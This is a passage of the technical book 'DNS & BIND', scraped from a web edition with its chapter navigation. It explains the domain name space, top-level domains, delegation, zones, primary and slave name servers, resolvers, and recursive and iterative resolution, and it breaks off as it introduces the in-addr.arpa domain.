Domain names are used as indexes into the DNS database. You might think of data in DNS as "attached" to a domain name. In a filesystem, directories contain files and subdirectories. Likewise, domains can contain both hosts and subdomains. A domain contains those hosts and subdomains whose domain names are within the domain.

Each host on a network has a domain name, which points to information about the host (see Figure 1.4). This information may include IP addresses, information about mail routing, etc. Hosts may also have one or more domain name aliases, which are simply pointers from one domain name (the alias) to another (the official or canonical domain name). In the figure, mailhub.nv... is an alias for the canonical name rincon.ba.ca....

Figure 1.4: An alias in DNS pointing to a canonical name

Figure 1.5: Solving the name collision problem

Why all the complicated structure? To solve the problems that HOSTS.TXT had. For example, making domain names hierarchical eliminates the pitfall of name collisions. Each domain has a unique domain name, so the organization that runs the domain is free to name hosts and subdomains within its domain. Whatever name they choose for a host or subdomain, it won't conflict with other organizations' domain names, since it will end in their unique domain name. For example, the organization that runs hic.com can name a host puella (as shown in Figure 1.5), since it knows that the domain host's domain name will end in hic.com, a unique domain name.

Previous: 1.2 On the Internet and internets | DNS & BIND | Next: 1.4 The History of BIND
1.2 On the Internet and internets | Book Index | 1.4 The History of BIND


[Chapter 1] 1.4 The History of BIND

DNS & BIND

DNS & BINDSearch this book
Previous: 1.3 The Domain Name System, in a Nutshell Chapter 1
Background 		Next: 1.5 Must I Use DNS?

1.4 The History of BIND

The first implementation of the Domain Name System was called JEEVES, written by Paul Mockapetris himself. A later implementation was BIND, written for Berkeley's 4.3BSD UNIX operating system by Kevin Dunlap. BIND is now maintained by the Internet Software Consortium.[3]

[3] For more information on the Internet Software Consortium and its work on BIND, see http://www.isc.org/bind.html.

Berkeley Internet Name Domain (BIND) is the implementation we'll concentrate on in this book. BIND is by far the most popular implementation of DNS today. It has been ported to most flavors of UNIX, and is shipped as a standard part of most vendors' UNIX offerings. BIND has even been ported to Microsoft's Windows NT.

Previous: 1.3 The Domain Name System, in a Nutshell | DNS & BIND | Next: 1.5 Must I Use DNS?
1.3 The Domain Name System, in a Nutshell | Book Index | 1.5 Must I Use DNS?


[Chapter 1] 1.5 Must I Use DNS?

DNS & BIND

DNS & BINDSearch this book
Previous: 1.4 The History of BIND Chapter 1
Background 		Next: 2. How Does DNS Work?

1.5 Must I Use DNS?

Despite the usefulness of the Domain Name System, there are still some situations in which it doesn't pay to use it. There are other name resolution mechanisms besides DNS, some of which may be standard with your operating system. Sometimes the overhead involved in managing a domain and its name servers outweighs the benefits. On the other hand, there are circumstances in which you have no other choice but to set up and manage a domain. Here are some guidelines to help you make that decision:

1.5.1 If you're connected to the Internet...

...DNS is a must. Think of DNS as the lingua franca of the Internet: nearly all of the Internet's network services use DNS. That includes the World Wide Web, electronic mail, remote terminal access, and file transfer.

On the other hand, this doesn't necessarily mean that you have to set up and run a domain by yourself for yourself. If you've only got a handful of hosts, you may be able to find an existing domain to become part of (see Chapter 3, Where Do I Start?). Or you may be able to find someone else to run a domain for you. If you pay an Internet service provider for your Internet connectivity, ask if they'll manage a domain for you, too. Even if you aren't already a customer, there are companies who will help out, for a price.

If you have a little more than a handful of hosts, or a lot more, then you'll probably want your own domain. And if you want direct control over your domain and your name servers, then you'll want to manage it yourself. Buy this book and read on!

1.5.2 If you have a UUCP connection to a host on the Internet...

...it's a good idea to set up a domain. user@domain-style addressing has become standard on the Internet. Once you've set up a domain, your correspondents on the Internet will be able to send you mail using these simpler addresses. You'll also be prepared if you decide later to get a connection to the Internet.

It's a common misconception that you actually need to be connected to the Internet to set up a domain and use user@domain addresses. You'll need hosts on the Internet to act as name servers for your domain, but they don't have to be your hosts. You'd be surprised how many people are willing to "host" your domain gratis: the Internet is still a fairly neighborly place. (And even if you can't find anyone willing, there are companies who will do it for you for cheap.)

1.5.3 If you have your own TCP/IP-based internet...

...you probably want DNS. By an internet, we don't mean just a single Ethernet of workstations using TCP/IP (see the next section if you thought that was what we meant); we mean a fairly complex "network of networks." Maybe you have a forest of Appletalk nets and a handful of Apollo token rings.

If your internet is basically homogeneous and your hosts don't need DNS (say you have a big DECnet or OSI internet), then you may be able to do without it. But if you've got a variety of hosts, especially if some of those run some variety of UNIX, you'll want DNS. It'll simplify the distribution of host information and rid you of any kludgy host table distribution schemes you may have cooked up.

1.5.4 If you have your own local area network or site network...

...and that network isn't connected to a larger network, you can probably get away without using DNS. You might consider using Microsoft's Windows Internet Name Service (WINS), host tables, or Sun's Network Information Service (NIS) product.

But if you need distributed administration or have trouble maintaining the consistency of data on your network, DNS may be for you. And if your network is likely to be connected to another network soon, like your corporate internet or the Internet, it'd be wise to start up a domain now.

Previous: 1.4 The History of BIND | DNS & BIND | Next: 2. How Does DNS Work?
1.4 The History of BIND | Book Index | 2. How Does DNS Work?


[Chapter 2] How Does DNS Work?

DNS & BIND

DNS & BINDSearch this book
Previous: 1.5 Must I Use DNS? Chapter 2 Next: 2.2 The Internet Domain Name Space

2. How Does DNS Work?

Contents:
The Domain Name Space
The Internet Domain Name Space
Delegation
Name Servers and Zones
Resolvers
Resolution
Caching

"... and what is the use of a book," thought Alice, "without pictures or conversations?"

The Domain Name System is basically a database of host information. Admittedly, you get a lot with that: funny dotted names, networked name servers, a shadowy "name space." But keep in mind that, in the end, the service DNS provides is information about internet hosts.

We've already covered some important aspects of DNS, including its client-server architecture and the structure of the DNS database. However, we haven't gone into much detail, and we haven't explained the nuts and bolts of DNS's operation.

In this chapter, we'll explain and illustrate the mechanisms that make DNS work. We'll also introduce the terms you'll need to know to read the rest of the book (and to converse intelligently with your fellow domain administrators).

First, though, let's take a more detailed look at concepts introduced in the previous chapter. We'll try to add enough detail to spice it up a little.

2.1 The Domain Name Space

DNS's distributed database is indexed by domain names. Each domain name is essentially just a path in a large inverted tree, called the domain name space. The tree's hierarchical structure, shown in Figure 2.1, is similar to the structure of the UNIX filesystem. The tree has a single root at the top.[1] In the UNIX filesystem, this is called the root directory, represented by a slash ("/"). DNS simply calls it "the root." Like a filesystem, DNS's tree can branch any number of ways at each intersection point, called a node. The depth of the tree is limited to 127 levels (a limit you're not likely to reach).

[1] Clearly this is a computer scientist's tree, not a botanist's.

Figure 2.1: The structure of the DNS name space

2.1.1 Domain Names

Each node in the tree has a text label (without dots) that can be up to 63 characters long. A null (zero-length) label is reserved for the root. The full domain name of any node in the tree is the sequence of labels on the path from that node to the root. Domain names are always read from the node toward the root ("up" the tree), and with dots separating the names in the path.

If the root node's label actually appears in a node's domain name, the name looks as though it ends in a dot, as in "www.oreilly.com.". (It actually ends with a dot - the separator - and the root's null label.) When the root node's label appears by itself, it is written as a single dot, ".", for convenience. Consequently, some software interprets a trailing dot in a domain name to indicate that the domain name is absolute. An absolute domain name is written relative to the root, and unambiguously specifies a node's location in the hierarchy. An absolute domain name is also referred to as a fully qualified domain name, often abbreviated FQDN. Names without trailing dots are sometimes interpreted as relative to some domain other than the root, just as directory names without a leading slash are often interpreted as relative to the current directory.

DNS requires that sibling nodes - nodes that are children of the same parent - have different labels. This restriction guarantees that a domain name uniquely identifies a single node in the tree. The restriction really isn't a limitation, because the labels only need to be unique among the children, not among all the nodes in the tree. The same restriction applies to the UNIX filesystem: You can't give two sibling directories the same name. Just as you can't have two hobbes.pa.ca.us nodes in the name space, you can't have two /usr/bin directories (Figure 2.2). You can, however, have both a hobbes.pa.ca.us node and a hobbes.lg.ca.us, as you can have both a /bin directory and a /usr/bin directory.

Figure 2.2: Ensuring uniqueness in domain names and in UNIX pathnames

2.1.2 Domains

A domain is simply a subtree of the domain name space. The domain name of a domain is the same as the domain name of the node at the very top of the domain. So, for example, the top of the purdue.edu domain is a node named purdue.edu, as shown in Figure 2.3.

Figure 2.3: The purdue.edu domain

Likewise, in a filesystem, at the top of the /usr directory, you'd expect to find a node called /usr, as shown in Figure 2.4.

Figure 2.4: The /usr directory

Any domain name in the subtree is considered a part of the domain. Because a domain name can be in many subtrees, a domain name can also be in many domains. For example, the domain name pa.ca.us is part of the ca.us domain and also part of the us domain, as shown in Figure 2.5.

Figure 2.5: A node in multiple domains

So in the abstract, a domain is just a subtree of the domain name space. But if a domain is simply made up of domain names and other domains, where are all the hosts? Domains are groups of hosts, right?

The hosts are there, represented by domain names. Remember, domain names are just indexes into the DNS database. The "hosts" are the domain names that point to information about individual hosts. And a domain contains all the hosts whose domain names are within the domain. The hosts are related logically, often by geography or organizational affiliation, and not necessarily by network or address or hardware type. You might have ten different hosts, each of them on a different network and each one perhaps even in a different country, all in the same domain.[2]

[2] One note of caution: Don't confuse domains in the Domain Name System with domains in Sun's Network Information Service (NIS). Though an NIS domain also refers to a group of hosts, and both types of domains have similarly structured names, the concepts are quite different. NIS uses hierarchical names, but the hierarchy ends there: hosts in the same NIS domain share certain data about hosts and users, but they can't navigate the NIS name space to find data in other NIS domains. NT domains, which provide account management and security services, also don't have any relationship to DNS domains.

Domain names at the leaves of the tree generally represent individual hosts, and they may point to network addresses, hardware information, and mail routing information. Domain names in the interior of the tree can name a host and can point to information about the domain. Interior domain names aren't restricted to one or the other. They can represent both the domain they correspond to and a particular host on the network. For example, hp.com is both the name of the Hewlett-Packard Company's domain and the domain name of a host that runs HP's main web server.

The type of information retrieved when you use a domain name depends on the context in which you use it. Sending mail to someone at hp.com would return mail routing information, while telneting to the domain name would look up the host information (in Figure 2.6, for example, hp.com's IP address).[3]

[3] The terms domain and subdomain are often used interchangeably, or nearly so, in DNS and BIND documentation. Here, we use subdomain only as a relative term: a domain is a subdomain of another domain if the root of the subdomain is within the domain.

Figure 2.6: An interior node with both host and structural data

A simple way of deciding whether a domain is a subdomain of another domain is to compare their domain names. A subdomain's domain name ends with the domain name of its parent domain. For example, the domain la.tyrell.com must be a subdomain of tyrell.com because la.tyrell.com ends with tyrell.com. Similarly, it's a subdomain of com, as is tyrell.com.

Besides being referred to in relative terms, as subdomains of other domains, domains are often referred to by level. On mailing lists and in Usenet newsgroups, you may see the terms top-level domain or second-level domain bandied about. These terms simply refer to a domain's position in the domain name space:

  • A top-level domain is a child of the root.

  • A first-level domain is a child of the root (a top-level domain).

  • A second-level domain is a child of a first-level domain, and so on.

2.1.3 Resource Records

The data associated with domain names are contained in resource records, or RRs. Records are divided into classes, each of which pertains to a type of network or software. Currently, there are classes for internets (any TCP/IP-based internet), networks based on the Chaosnet protocols, and networks that use Hesiod software. (Chaosnet is an old network of largely historic significance.)

The internet class is by far the most popular. (We're not really sure if anyone still uses the Chaosnet class, and use of the Hesiod class is mostly confined to MIT.) We concentrate here on the internet class.

Within a class, records also come in several types, which correspond to the different varieties of data that may be stored in the domain name space. Different classes may define different record types, though some types may be common to more than one class. For example, almost every class defines an address type. Each record type in a given class defines a particular record syntax, which all resource records of that class and type must adhere to. (For details on all internet resource record types and their syntaxes, see Appendix A, DNS Message Format and Resource Records.)

If this information seems sketchy, don't worry - we'll cover the records in the internet class in more detail later. The common records are described in Chapter 4, Setting Up BIND, and a comprehensive list is included as part of Appendix A.

Previous: 1.5 Must I Use DNS? | DNS & BIND | Next: 2.2 The Internet Domain Name Space
1.5 Must I Use DNS? | Book Index | 2.2 The Internet Domain Name Space


[Chapter 2] 2.2 The Internet Domain Name Space

DNS & BIND

DNS & BINDSearch this book
Previous: 2.1 The Domain Name Space Chapter 2
How Does DNS Work? 		Next: 2.3 Delegation

2.2 The Internet Domain Name Space

So far, we've talked about the theoretical structure of the domain name space and what sorts of data are stored in it, and we've even hinted at the types of names you might find in it with our (sometimes fictional) examples. But this won't help you decode the domain names you see on a daily basis on the Internet.

The Domain Name System doesn't impose many rules on the labels in domain names, and it doesn't attach any particular meaning to the labels at a particular level. When you manage a part of the domain name space, you can decide on your own semantics for your domain names. Heck, you could name your subdomains A through Z and no one would stop you (though they might strongly recommend against it).

The existing Internet domain name space, however, has some self-imposed structure to it. Especially in the upper-level domains, the domain names follow certain traditions (not rules, really, as they can be and have been broken.) These traditions help domain names from appearing totally chaotic. Understanding these traditions is an enormous asset if you're trying to decipher a domain name.

2.2.1 Top-Level Domains

The original top-level domains divided the Internet domain name space organizationally into seven domains:

com

Commercial organizations, such as Hewlett-Packard (hp.com), Sun Microsystems (sun.com), and IBM (ibm.com)

edu

Educational organizations, such as U.C. Berkeley (berkeley.edu) and Purdue University (purdue.edu)

gov

Government organizations, such as NASA (nasa.gov) and the National Science Foundation (nsf.gov)

mil

Military organizations, such as the U.S. Army (army.mil) and Navy (navy.mil)

net

Networking organizations, such as NSFNET (nsf.net)

org

Noncommercial organizations, such as the Electronic Frontier Foundation (eff.org)

int

International organizations, such as NATO (nato.int)

Another top-level domain called arpa was originally used during the ARPAnet's transition from host tables to DNS. All ARPAnet hosts originally had host names under arpa, so they were easy to find. Later, they moved into various subdomains of the organizational top-level domains. However, the arpa domain remains in use in a way you'll read about later.

You may notice a certain nationalistic prejudice in the examples: all are primarily U.S. organizations. That's easier to understand - and forgive - when you remember that the Internet began as the ARPAnet, a U.S.-funded research project. No one anticipated the success of the ARPAnet, or that it would eventually become as international as the Internet is today.

Today, these original domains are called generic top-level domains, or gTLDs. By the time you read this, we may have quite a few more of these, such as firm, shop, web, and nom, to accommodate the rapid expansion of the Internet and the need for more domain name "space." For more information on a proposal to create new gTLDs, see http://www.gtld-mou.org/.

To accommodate the internationalization of the Internet, the implementers of the Internet name space compromised. Instead of insisting that all top-level domains describe organizational affiliation, they decided to allow geographical designations, too. New top-level domains were reserved (but not necessarily created) to correspond to individual countries. Their domain names followed an existing international standard called ISO 3166.[4] ISO 3166 establishes official, two-letter abbreviations for every country in the world. We've included the current list of top-level domains as Appendix C, Top-Level Domains, of this book.

[4] Except for Great Britain. According to ISO 3166 and Internet tradition, Great Britain's top-level domain name should be gb. Instead, most organizations in Great Britain and Northern Ireland (i.e., the United Kingdom) use the top-level domain name uk. They drive on the wrong side of the road, too.

2.2.2 Further Down

Within these top-level domains, the traditions and the extent to which they are followed vary. Some of the ISO 3166 top-level domains closely follow the U.S.'s original organizational scheme. For example, Australia's top-level domain, au, has subdomains such as edu.au and com.au. Some other ISO 3166 top-level domains follow the uk domain's lead and have subdomains such as co.uk for corporations and ac.uk for the academic community. In most cases, however, even these geographically-oriented top-level domains are divided up organizationally.

That's not true of the us top-level domain, however. The us domain has fifty subdomains that correspond to - guess what? - the fifty U.S. states.[5] Each is named according to the standard two-letter abbreviation for the state - the same abbreviation standardized by the U.S. Postal Service. Within each state's domain, the organization is still largely geographical: most subdomains correspond to individual cities. Beneath the cities, the subdomains usually correspond to individual hosts.

[5] Actually, there are a few more domains under us: one for Washington, D.C., one for Guam, and so on.

2.2.3 Reading Domain Names

Now that you know what most top-level domains represent and how their name spaces are structured, you'll probably find it much easier to make sense of most domain names. Let's dissect a few for practice:

lithium.cchem.berkeley.edu

You've got a head start on this one, as we've already told you that berkeley.edu is U.C. Berkeley's domain. (Even if you didn't already know that, though, you could have inferred that the name probably belongs to a U.S. university because it's in the top-level edu domain.) cchem is the College of Chemistry's subdomain of berkeley.edu. Finally, lithium is the name of a particular host in the domain - and probably one of about a hundred or so, if they've got one for every element.

winnie.corp.hp.com

This example is a bit harder, but not much. The hp.com domain in all likelihood belongs to the Hewlett-Packard Company (in fact, we gave you this earlier, too). Their corp subdomain is undoubtedly their corporate headquarters. And winnie is probably just some silly name someone thought up for a host.

fernwood.mpk.ca.us

Here you'll need to use your understanding of the us domain. ca.us is obviously California's domain, but mpk is anybody's guess. In this case, it would be hard to know that it's Menlo Park's domain unless you knew your San Francisco Bay Area geography. (And no, it's not the same Menlo Park that Edison lived in - that one's in New Jersey.)

daphne.ch.apollo.hp.com

We've included this example just so you don't start thinking that all domain names have only four labels. apollo.hp.com is the former Apollo Computer subdomain of the hp.com domain. (When HP acquired Apollo, it also acquired Apollo's Internet domain, apollo.com, which became apollo.hp.com.) ch.apollo.hp.com is Apollo's Chelmsford, Massachusetts, site. And daphne is a host at Chelmsford.

Previous: 2.1 The Domain Name Space | DNS & BIND | Next: 2.3 Delegation
2.1 The Domain Name Space | Book Index | 2.3 Delegation


[Chapter 2] 2.3 Delegation

DNS & BIND

DNS & BINDSearch this book
Previous: 2.2 The Internet Domain Name Space Chapter 2
How Does DNS Work? 		Next: 2.4 Name Servers and Zones

2.3 Delegation

Remember that one of the main goals of the design of the Domain Name System was to decentralize administration? This is achieved through delegation. Delegating domains works a lot like delegating tasks at work. A manager may break up a large project into smaller tasks and delegate responsibility for each of these tasks to different employees.

Likewise, an organization administering a domain can divide it into subdomains. Each of those subdomains can be delegated to other organizations. This means that an organization becomes responsible for maintaining all the data in that subdomain. It can freely change the data and even divide its subdomain up into more subdomains and delegate those. The parent domain contains only pointers to sources of the subdomain's data so that it can refer queriers there. The domain stanford.edu, for example, is delegated to the folks at Stanford who run the university's networks (Figure 2.7).

Figure 2.7: stanford.edu is delegated to Stanford University

Not all organizations delegate away their whole domain, just as not all managers delegate all their work. A domain may have several subdomains and also contain hosts that don't belong in the subdomains. For example, the Acme Corporation (it supplies a certain coyote with most of his gadgets), which has a division in Rockaway and its headquarters in Kalamazoo, might have a rockaway.acme.com subdomain and a kalamazoo.acme.com subdomain. However, the few hosts in the Acme sales offices scattered throughout the U.S. would fit better under acme.com than under either subdomain.

We'll explain how to create and delegate subdomains later. For now, it's only important that you understand that the term delegation refers to assigning responsibility for a subdomain to another organization.

Previous: 2.2 The Internet Domain Name Space | DNS & BIND | Next: 2.4 Name Servers and Zones
2.2 The Internet Domain Name Space | Book Index | 2.4 Name Servers and Zones


[Chapter 2] 2.4 Name Servers and Zones

DNS & BIND

DNS & BINDSearch this book
Previous: 2.3 Delegation Chapter 2
How Does DNS Work? 		Next: 2.5 Resolvers

2.4 Name Servers and Zones

The programs that store information about the domain name space are called name servers. Name servers generally have complete information about some part of the domain name space, called a zone, which they load from a file or from another name server. The name server is then said to have authority for that zone. Name servers can be authoritative for multiple zones, too.

The difference between a zone and a domain is important, but subtle. All top-level domains, and many domains at the second level and lower, like berkeley.edu and hp.com, are broken into smaller, more manageable units by delegation. These units are called zones. The edu domain, shown in Figure 2.8, is divided into many zones, including the berkeley.edu zone, the purdue.edu zone, and the nwu.edu zone. At the top of the domain, there's also an edu zone. It's natural that the folks who run edu would break up the edu domain: otherwise, they'd have to manage the berkeley.edu subdomain themselves. It makes much more sense to delegate berkeley.edu to Berkeley. What's left for the folks who run edu? The edu zone, which would contain mostly delegation information to subdomains of edu.

Figure 2.8: The edu domain broken into zones

The berkeley.edu subdomain is, in turn, broken up into multiple zones by delegation, as shown in Figure 2.9. There are delegated subdomains called cc, cs, ce, me, and more. Each of these subdomains is delegated to a set of name servers, some of which are also authoritative for berkeley.edu. However, the zones are still separate, and may have a totally different group of authoritative name servers.

Figure 2.9: The berkeley.edu domain broken into zones

A zone contains the domain names that the domain with the same domain name contains, except for domain names in delegated subdomains. For example, the top-level domain ca (for Canada) may have the subdomains ab.ca, on.ca, and qc.ca, for the provinces Alberta, Ontario, and Quebec. Authority for the ab.ca, on.ca, and qc.ca domains may be delegated to name servers in each of the provinces. The domain ca contains all the data in ca plus all the data in ab.ca, on.ca, and qc.ca. But the zone ca contains only the data in ca (see Figure 2.10), which is probably mostly pointers to the delegated subdomains.

If a subdomain of the domain isn't delegated away, however, the zone contains the domain names and data in the subdomain. So the bc.ca and sk.ca (British Columbia and Saskatchewan) subdomains of the ca domain may exist, but might not be delegated. (Perhaps the provincial authorities in B.C. and Saskatchewan aren't yet ready to manage their subdomains, but the authorities running the top-level ca domain want to preserve the consistency of the name space and implement subdomains for all the Canadian provinces right away.) In this case, the zone ca has a ragged bottom edge, containing bc.ca and sk.ca, but not the other ca subdomains, as shown in Figure 2.11.

Figure 2.10: The domain ca...

Figure 2.11: ...versus the zone ca

Now it's clear why name servers load zones instead of domains: a domain might contain more information than the name server would need.[6] A domain could contain data delegated to other name servers. Since a zone is bounded by delegation, it will never include delegated data.

[6] Imagine if a root name server loaded the root domain instead of the root zone: it would be loading the entire name space!

If you're just starting out, however, your domain probably won't have any subdomains. In this case, since there's no delegation going on, your domain and your zone contain the same data.

2.4.1 Delegating Domains

Even though you may not need to delegate parts of your domain just yet, it's helpful to understand a little more about how the process of delegating a domain works. Delegation, in the abstract, involves assigning responsibility for some part of your domain to another organization. What really happens, however, is the assignment of authority for your subdomains to different name servers. (Note that we said "name servers," not just "name server.")

Your data, instead of containing information about the subdomain you've delegated, includes pointers to the name servers that are authoritative for that subdomain. Now if one of your name servers is asked for data in the subdomain, it can reply with a list of the right name servers to talk to.

2.4.2 Types of Name Servers

The DNS specs define two types of name servers: primary masters and secondary masters. A primary master name server for a zone reads the data for the zone from a file on its host. A secondary master name server for a zone gets the zone data from another name server that is authoritative for the zone, called its master server. Quite often, the master server is the zone's primary master, but that's not required: a secondary master can load zone data from another secondary. When a secondary starts up, it contacts its master name server and, if necessary, pulls the zone data over. This is referred to as a zone transfer. Nowadays, the preferred term for a secondary master name server is a slave, though many people (and much software, including Microsoft's DNS Manager) still call them secondaries.

Both the primary master and slave name servers for a zone are authoritative for that zone. Despite the somewhat disparaging name, slaves aren't second-class name servers. DNS provides these two types of name servers to make administration easier. Once you've created the data for your zone and set up a primary master name server, you don't need to fool with copying that data from host to host to create new name servers for the zone. You simply set up slave name servers that load their data from the primary master for the zone. Once they're set up, the slaves will transfer new zone data when necessary.

Slave name servers are important because it's a good idea to set up more than one name server for any given zone. You'll want more than one for redundancy, to spread the load around, and to make sure that all the hosts in the zone have a name server close by. Using slave name servers makes this administratively workable.

Calling a particular name server a primary master name server or a slave name server is a little imprecise, though. We mentioned earlier that a name server can be authoritative for more than one zone. Similarly, a name server can be a primary master for one zone and a slave for another. Most name servers, however, are either primary for most of the zones they load or slave for most of the zones they load. So if we call a particular name server a primary or a slave, we mean that it's the primary master or a slave for most of the zones it loads.

2.4.3 Data Files

The files from which primary master name servers load their zone data are called, simply enough, zone data files or just data files. We often refer to them as db files, short for database files. Slave name servers can also load their zone data from data files. Slaves are usually configured to back up the zone data they transfer from a master name server to data files. If the slave is later killed and restarted, it will read the backup data files first, then check to see whether the data are current. This both obviates the need to transfer the zone data if it hasn't changed and provides a source of the data if the master is down.

The data files contain resource records that describe the zone. The resource records describe all the hosts in the zone and mark any delegation of subdomains. BIND also allows special directives to include the contents of other data files in a data file, much like the #include statement in C programming.

Previous: 2.3 Delegation | DNS & BIND | Next: 2.5 Resolvers
2.3 Delegation | Book Index | 2.5 Resolvers


[Chapter 2] 2.5 Resolvers

DNS & BIND

DNS & BINDSearch this book
Previous: 2.4 Name Servers and Zones Chapter 2
How Does DNS Work? 		Next: 2.6 Resolution

2.5 Resolvers

Resolvers are the clients that access name servers. Programs running on a host that need information from the domain name space use the resolver. The resolver handles:

  • Querying a name server

  • Interpreting responses (which may be resource records or an error)

  • Returning the information to the programs that requested it

In BIND, the resolver is just a set of library routines that is linked into programs such as telnet and ftp. It's not even a separate process. It has the smarts to put together a query, to send it and wait for an answer, and to resend the query if it isn't answered, but that's about all. Most of the burden of finding an answer to the query is placed on the name server. The DNS specs call this kind of resolver a stub resolver.

Other implementations of DNS have had smarter resolvers, which can do more sophisticated things such as build up a cache of information already retrieved from name servers.[7] But these aren't nearly as common as the stub resolver implemented in BIND.

[7] Rob Austein's CHIVES resolver for TOPS-20 could cache, for example.

Previous: 2.4 Name Servers and Zones | DNS & BIND | Next: 2.6 Resolution
2.4 Name Servers and Zones | Book Index | 2.6 Resolution


[Chapter 2] 2.6 Resolution

DNS & BIND

DNS & BINDSearch this book
Previous: 2.5 Resolvers Chapter 2
How Does DNS Work? 		Next: 2.7 Caching

2.6 Resolution

Name servers are adept at retrieving data from the domain name space. They have to be, given the limited intelligence of some resolvers. Not only can they give you data about zones for which they're authoritative, they can also search through the domain name space to find data for which they're not authoritative. This process is called name resolution or simply resolution.

Because the name space is structured as an inverted tree, a name server needs only one piece of information to find its way to any point in the tree: the domain names and addresses of the root name servers (is that more than one piece?). A name server can issue a query to a root name server for any name in the domain name space, and the root name server will start the name server on its way.

2.6.1 Root Name Servers

The root name servers know where there are authoritative name servers for each of the top-level domains. (In fact, most of the root name servers are authoritative for the generic top-level domains.) Given a query about any domain name, the root name servers can at least provide the names and addresses of the name servers that are authoritative for the top-level domain that the domain name is in. And the top-level name servers can provide the list of name servers that are authoritative for the second-level domain that the domain name is in. Each name server queried gives the querier information about how to get "closer" to the answer it's seeking, or it provides the answer itself.

The root name servers are clearly important to resolution. Because they're so important, DNS provides mechanisms - such as caching, which we'll discuss a little later - to help offload the root name servers. But in the absence of other information, resolution has to start at the root name servers. This makes the root name servers crucial to the operation of DNS; if all the Internet root name servers were unreachable for an extended period, all resolution on the Internet would fail. To protect against this, the Internet has thirteen root name servers (as of this writing) spread across different parts of the network. Two are on the MILNET, the U.S. military's portion of the Internet; one is on SPAN, NASA's internet; two are in Europe; and one is in Japan.

Being the focal point for so many queries keeps the roots busy; even with thirteen, the traffic to each root name server is very high. A recent informal poll of root name server administrators showed some roots receiving thousands of queries per second.

Despite the load placed on root name servers, resolution on the Internet works quite well. Figure 2.12 shows the resolution process for the address of a real host in a real domain, including how the process corresponds to traversing the domain name space tree.

Figure 2.12: Resolution of girigiri.gbrmpa.gov.au on the Internet

The local name server queries a root name server for the address of girigiri.gbrmpa.gov.au and is referred to the au name servers. The local name server asks an au name server the same question, and is referred to the gov.au name servers. The gov.au name server refers the local name server to the gbrmpa.gov.au name servers. Finally, the local name server asks a gbrmpa.gov.au name server for the address and gets the answer.

2.6.2 Recursion

You may have noticed a big difference in the amount of work done by the name servers in the previous example. Four of the name servers simply returned the best answer they already had - mostly referrals to other name servers - to the queries they received. They didn't have to send their own queries to find the data requested. But one name server - the one queried by the resolver - had to follow successive referrals until it received an answer.

Why couldn't the local name server simply have referred the resolver to another name server? Because a stub resolver wouldn't have had the intelligence to follow a referral. And how did the name server know not to answer with a referral? Because the resolver issued a recursive query.

Queries come in two flavors, recursive and iterative, also called nonrecursive. Recursive queries place most of the burden of resolution on a single name server. Recursion, or recursive resolution, is just a name for the resolution process used by a name server when it receives recursive queries.

Iteration, or iterative resolution, on the other hand, refers to the resolution process used by a name server when it receives iterative queries.

In recursion a resolver sends a recursive query to a name server for information about a particular domain name. The queried name server is then obliged to respond with the requested data or with an error stating that data of the requested type don't exist or that the domain name specified doesn't exist.[8] The name server can't just refer the querier to a different name server, because the query was recursive.

[8] The BIND 8 name server can be configured to refuse recursive queries; see Chapter 10, Advanced Features and Security, for how and why you'd want to do this.

If the queried name server isn't authoritative for the data requested, it will have to query other name servers to find the answer. It could send recursive queries to those name servers, thereby obliging them to find the answer and return it (and passing the buck). Or it could send iterative queries and possibly be referred to other name servers "closer" to the domain name it's looking for. Current implementations are polite and do the latter, following the referrals until an answer is found.[9]

[9] The exception is a name server configured to forward all unresolved queries to a designated name server, called a forwarder. See Chapter 10 for more information on using forwarders.

A name server that receives a recursive query that it can't answer itself will query the "closest known" name servers. The closest known name servers are the servers authoritative for the zone closest to the domain name being looked up. For example, if the name server receives a recursive query for the address of the domain name girigiri.gbrmpa.gov.au, it will first check whether it knows the name servers for girigiri.gbrmpa.gov.au. If it does, it will send the query to one of them. If not, it will check whether it knows the name servers for gbrmpa.gov.au, and after that gov.au, and then au. The default, where the check is guaranteed to stop, is the root zone, since every name server knows the domain names and addresses of the root name servers.

Using the closest known name servers ensures that the resolution process is as short as possible. A berkeley.edu name server receiving a recursive query for the address of waxwing.ce.berkeley.edu shouldn't have to consult the root name servers; it can simply follow delegation information directly to the ce.berkeley.edu name servers. Likewise, a name server that has just looked up a domain name in ce.berkeley.edu shouldn't have to start resolution at the roots to look up another ce.berkeley.edu (or berkeley.edu) domain name; we'll show how this works in the upcoming section on caching.

The name server that receives the recursive query always sends the same query that the resolver sends it, for example, for the address of waxwing.ce.berkeley.edu. It never sends explicit queries for the name servers for ce.berkeley.edu or berkeley.edu, though this information is also stored in the name space. Sending explicit queries could cause problems: There may be no ce.berkeley.edu name servers (that is, ce.berkeley.edu may be part of the berkeley.edu zone). Also, it's always possible that an edu or berkeley.edu name server would know waxwing.ce.berkeley.edu's address. An explicit query for the berkeley.edu or ce.berkeley.edu name servers would miss this information.

2.6.3 Iteration

Iterative resolution, on the other hand, doesn't require nearly as much work on the part of the queried name server. In iterative resolution, a name server simply gives the best answer it already knows back to the querier. No additional querying is required. The queried name server consults its local data (including its cache, which we're about to talk about), looking for the data requested. If it doesn't find the data there, it makes its best attempt to give the querier data that will help it continue the resolution process. Usually these are the domain names and addresses of the closest known name servers.

What this amounts to is a resolution process that, taken as a whole, looks like Figure 2.13.

Figure 2.13: The resolution process

A resolver queries a local name server, which then queries a number of other name servers in pursuit of an answer for the resolver. Each name server it queries refers it to another name server that is authoritative for a zone further down in the name space and closer to the domain name sought. Finally, the local name server queries the authoritative name server, which returns an answer.

2.6.4 Mapping Addresses to Names

One major piece of functionality missing from the resolution process as explained so far is how addresses get mapped back to names. Address-to-name mapping is used to produce output that is easier for humans to read and interpret (in log files, for instance). It's also used in some authorization checks. UNIX hosts map addresses to domain names to compare against entries in .rhosts and hosts.equiv files, for example. When using host tables, address-to-name mapping is trivial. It requires a straightforward sequential search through the host table for an address. The search returns the official host name listed. In DNS, however, address-to-name mapping isn't so simple. Data, including addresses, in the domain name space are indexed by name. Given a domain name, finding an address is relatively easy. But finding the domain name that maps to a given address would seem to require an exhaustive search of the data attached to every domain name in the tree.

Actually, there's a better solution that's both clever and effective. Because it's easy to find data once you're given the domain name that indexes that data, why not create a part of the domain name space that uses addresses as labels? In the Internet's domain name space, this portion of the name space is the in-addr.arpa domain.

